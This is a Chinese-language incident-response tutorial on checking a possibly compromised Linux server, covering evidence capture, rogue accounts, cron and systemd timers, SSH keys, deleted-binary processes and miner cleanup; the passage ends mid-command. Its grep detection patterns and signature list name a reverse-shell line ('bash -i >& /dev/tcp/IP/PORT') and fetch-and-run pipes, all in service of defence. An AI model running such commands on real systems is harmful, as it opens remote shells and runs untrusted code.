服务器被入侵怎么排查

结论: 服务器被入侵的排查按六条线索走:账号与登录、计划任务与自启动、SSH 公钥、进程与网络连接、动态链接库劫持、rootkit 查杀。重点查 UID 为 0 的可疑账号、cron 与 systemd timer 里的异常任务、authorized_keys 中的陌生公钥,以及 /proc/PID/exe 指向已删除文件的进程;确认失陷后应隔离、保全证据并重装。

引言:排查入侵,先接受一个前提——你看到的命令可能已被篡改

主机层入侵排查(Host-based Intrusion Investigation)第一件要理解的事是:一旦攻击者拿到 root,系统自带的命令就不再是你的朋友。 rootkit 可以替换 ps、netstat、top,让恶意进程在你眼前隐身;也可以劫持动态链接库,让你执行 ls 时自动过滤掉某些文件。所以真正专业的排查会做两件事:一是尽量使用静态编译的可信工具(如 busybox 静态版)或离线挂载磁盘分析;二是交叉验证——同一个事实至少用两种独立手段确认。

本文覆盖的是系统层入侵痕迹的排查:账号、计划任务、进程、网络连接、库劫持、rootkit。如果你已经确认入侵路径是网页后门(WebShell),即网站目录里被植入了可执行的恶意脚本,请看本站《服务器被挂马怎么办》一文,那篇专门处理 Web 层后门;两篇在处理真实事件时通常要一起做,因为从 WebShell 到提权到驻留是一条完整的攻击链。

命令以 Ubuntu 24.04 LTS 与 Rocky Linux 9 为例,截至 2026 年二者默认使用 systemd 与 journald。

一、排查前置:先保全证据,再动手查看

结论:任何排查动作之前,先把证据固定下来。 一是因为排查过程中你会不可避免地使用各种命令,可能改动时间戳;二是因为后续可能需要报案、走保险或做合规报告。

bash
# 1. 建立工作目录,所有输出集中存放
mkdir -p /root/ir/$(date +%F-%H%M) && cd /root/ir/$(date +%F-%H%M)

# 2. 打包系统日志(第一时间做,防止被清理)
tar czf varlog.tar.gz /var/log 2>/dev/null

# 3. 关键状态快照
last -n 100 > last.txt; lastb -n 200 > lastb.txt
who > who.txt; w > w.txt
ps auxf > ps.txt; ss -antp > ss-antp.txt; ss -lntp > ss-lntp.txt
crontab -l > crontab-root.txt 2>&1
systemctl list-timers --all > timers.txt
ls -lR /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly > crondirs.txt 2>&1
cat /etc/passwd > passwd.txt; cat /etc/shadow > shadow.txt; cat /etc/sudoers > sudoers.txt
ls -l /etc/sudoers.d/ > sudoersd.txt 2>&1

# 4. 准备可信工具(系统命令可能被替换)
wget -q -O /root/busybox https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox
chmod +x /root/busybox && /root/busybox ps aux | head

# 5. 记录文件时间线基准(后续用 -newer 做增量分析)
touch /root/ir/.marker

另外两条纪律:不要在排查过程中执行来源不明的"清理脚本";重大事件先做磁盘快照或镜像(云服务器直接打快照,物理机用 dd 或专业工具),再继续操作。

二、六条线索总览表

#线索核心检查项高可信度信号
1账号与登录/etc/passwd UID 0 账号、/etc/sudoers、last/lastb/who非 root 的 UID 0 账号、陌生 IP 成功登录
2计划任务与自启动crontab -l、/etc/cron.*、systemd timer、rc.local、profile.d指向未知脚本或 /tmp 下二进制的定时任务
3SSH 公钥与配置~/.ssh/authorized_keys、sshd_config未授权公钥、PermitRootLogin yes + 密码登录
4进程与网络ps、/proc/PID/exe、ss -antp、ls /proc/PID/cwdexe 指向 (deleted)、境外 IP 长连接
5文件与库劫持.bashrc、/etc/ld.so.preload、/etc/profile.d/、动态库时间戳ld.so.preload 非空、系统二进制校验失败
6rootkitrkhunter、chkrootkit、隐藏端口与隐藏进程对比命令输出与静态工具不一致

三、线索一:账号与登录记录

结论:先看有没有"多余的门"。 攻击者拿到权限后的第一件事通常是留一个能随时回来的账号。

bash
# 1. 列出所有 UID 为 0 的账号(正常应只有 root)
awk -F: '$3==0{print "UID0 ->", $1}' /etc/passwd

# 2. 可登录的普通账号(排除 nologin/false shell)
awk -F: '$3>=1000 && $7!~/nologin|false/ {print $1, $3, $7}' /etc/passwd

# 3. 有密码的账号(shadow 第二字段非空)
awk -F: '$2!="" && $2!~/^[!*]/{print "has password:", $1}' /etc/shadow

# 4. 最近新建的用户(按 /home 目录创建时间排序)
ls -ld --time-style=long-iso /home/*/ | sort -k6

# 5. sudo 权限是否被塞了后门
cat /etc/sudoers | grep -vE '^\s*#|^\s*$'
ls -l /etc/sudoers.d/ && cat /etc/sudoers.d/* 2>/dev/null

# 6. 登录记录
last -n 50                      # 成功登录历史
lastb -n 100                    # 失败登录(爆破证据)
who; w                          # 当前在线用户
lastlog | grep -v "Never logged in"   # 从未登录却有密码的账号值得怀疑
bash
# 登录来源 IP 统计(找出陌生的来源地)
last -n 200 | awk '{print $3}' | grep -E '^[0-9]+\.' | sort | uniq -c | sort -rn | head -20

# 成功登录但历史上从未出现过的 IP —— 高优先级核查对象
journalctl -u sshd --since "30 days ago" | grep -iE "Accepted (password|publickey)" \
  | awk '{print $NF}' | sort | uniq -c | sort -rn | head -20

判读要点:

  • UID 0 的非 root 账号是明确的失陷信号,直接查看其 home 目录与登录记录。
  • lastb 中出现成千上万条失败登录,说明曾遭受爆破;若随后紧跟一条 Accepted password,说明爆破成功了。
  • who/w 中出现的陌生会话,先记录其 IP 与进程,再决定是否踢除(pkill -u 用户名 或 kill 对应会话),不要直接断开以免打草惊蛇(有时需要观察 C2 行为)。

四、线索二:计划任务与自启动项

结论:这是驻留率最高的位置。 挖矿木马、反弹 Shell、持久化后门几乎都会在计划任务里留一份,因为它最简单、最稳定。

bash
# 1. 所有用户的 crontab(很多人只查 root,会漏)
for u in $(cut -d: -f1 /etc/passwd); do
  out=$(crontab -l -u "$u" 2>/dev/null)
  [ -n "$out" ] && { echo "===== $u ====="; echo "$out"; }
done

# 2. 系统级 cron 目录
ls -lR /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
grep -rnE "curl|wget|bash -i|/dev/tcp|nc -|python|perl|base64" /etc/cron.* /var/spool/cron/ 2>/dev/null

# 3. systemd timer(最容易被忽略,很多运维根本不看这里)
systemctl list-timers --all
systemctl list-unit-files --type=service --state=enabled
# 查看所有非系统自带的 timer 的 ExecStart
for t in $(systemctl list-unit-files --type=timer --state=enabled --no-legend | awk '{print $1}'); do
  echo "== $t =="; systemctl cat "$t" | grep -E "ExecStart|OnCalendar|OnBootSec|Persistent"
done

# 4. 传统自启动位置
cat /etc/rc.local 2>/dev/null
ls -l /etc/rc.d/rc.local /etc/init.d/ 2>/dev/null
ls -l /etc/profile.d/ && grep -rnE "curl|wget|/dev/tcp|nc -e" /etc/profile.d/ 2>/dev/null

# 5. systemd 服务里可疑的(Type=simple 指向 /tmp 或 /dev/shm 的二进制一律可疑)
grep -rlE "ExecStart=.*/(tmp|dev/shm|var/tmp)/" /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null

grep 里的几个关键字是实战中最常见的后门特征:

  • bash -i >& /dev/tcp/IP/PORT —— 经典反弹 Shell。
  • curl ... | bash / wget -O- ... | sh —— 远程下载执行。
  • base64 -d 开头的长字符串 —— 混淆过的载荷。
  • 指向 /tmp、/dev/shm、/var/tmp 的可执行文件 —— 正常服务绝不会把程序放在这些目录。

五、线索三:SSH 公钥与免密通道

结论:authorized_keys 里多出一把公钥,等于攻击者拿到了一把永久钥匙——而且不留下任何登录日志里的密码痕迹。 这是最容易被忽略也最致命的驻留方式之一。

bash
# 1. 检查所有用户的 authorized_keys
for d in /root/.ssh /home/*/.ssh; do
  [ -f "$d/authorized_keys" ] && { echo "===== $d ====="; cat -n "$d/authorized_keys"; }
done

# 2. 检查文件修改时间(与已知的合法操作时间对比)
ls -l --time-style=long-iso /root/.ssh/ /home/*/.ssh/ 2>/dev/null

# 3. sshd 配置是否被动过
grep -vE '^\s*#|^\s*$' /etc/ssh/sshd_config
# 重点看:PermitRootLogin、PasswordAuthentication、AuthorizedKeysFile、Port

# 4. sshd 二进制与配置完整性
sshd -T 2>/dev/null | grep -E "permitrootlogin|passwordauth|port"
rpm -V openssh-server 2>/dev/null | head      # Rocky/CentOS Stream
debsums -c openssh-server 2>/dev/null | head  # Ubuntu

# 5. 已知的私钥是否被窃取(检查 known_hosts、id_rsa 的访问记录)
ls -l --time-style=long-iso /root/.ssh/ /home/*/.ssh/*.pub 2>/dev/null

处置原则:逐条核对公钥的注释(末尾字符串)与你的资产清单,删掉不认识的全部;然后重新生成密钥对、清理所有 authorized_keys、把 PasswordAuthentication 设为 no、禁止 root 直接登录、限制 AllowUsers。

六、线索四:异常进程与网络连接

结论:进程排查的核心技巧是看 /proc/PID/exe 是否指向 (deleted) —— 攻击者常把恶意二进制释放到临时目录执行后立即删除,让 ls 找不到文件,但进程仍在运行,其 exe 链接会带上 (deleted) 标记。

bash
# 1. 找出所有 exe 指向已删除文件的进程(极高价值信号)
for p in $(ls /proc | grep -E '^[0-9]+$'); do
  exe=$(readlink /proc/$p/exe 2>/dev/null)
  case "$exe" in
    *"(deleted)"*) echo "PID=$p EXE=$exe CMD=$(tr '\0' ' ' < /proc/$p/cmdline)";;
  esac
done

# 2. 进程的工作目录与环境(挖矿进程常把配置藏在 cwd)
for p in $(ls /proc | grep -E '^[0-9]+$'); do
  echo "PID=$p CWD=$(readlink /proc/$p/cwd 2>/dev/null)"
done

# 3. 网络连接与对应进程
ss -antp | grep ESTAB
ss -antp | grep -vE "127.0.0.1|::1"
netstat -antp 2>/dev/null | grep ESTABLISHED

# 4. 监听端口(陌生的高位监听端口要重点查)
ss -lntp

# 5. 由网络连接反查进程(先拿 inode 再找进程,绕过被替换的 netstat)
ss -antp | awk '/ESTAB/{print $6}' | sort -u

# 6. 用静态 busybox 交叉验证(如果输出与 ps 不一致,说明命令已被替换)
/root/busybox ps aux | head -40
diff <(ps -eo pid,cmd --no-headers | sort) <(/root/busybox ps -eo pid,args --no-headers | sort)

挖矿木马的典型画像,看到就可以直接定性:进程名伪装成 kworker、systemd-daemon、xmr、sysupdate、apache2;CPU 占用 100%~400%(多核跑满);有到境外 IP 3333、8888、14444、45700 等端口的长连接;存在于 /tmp 或 /dev/shm;伴随 systemd 服务或 cron 守护(杀掉进程后几秒自动重启,即所谓"守护进程")。

处置顺序很重要:先禁掉守护(cron/timer/service),再杀进程,最后删文件,顺序反了会白忙一场。

bash
# 以可疑服务名 myupdater 为例
systemctl stop myupdater && systemctl disable myupdater
rm -f /etc/systemd/system/myupdater.service && systemctl daemon-reload
crontab -l | grep -v myupdater | crontab -        # 从 crontab 中移除对应行
kill -9 
rm -f /tmp/.X11-unix/...                          # 删除恶意二进制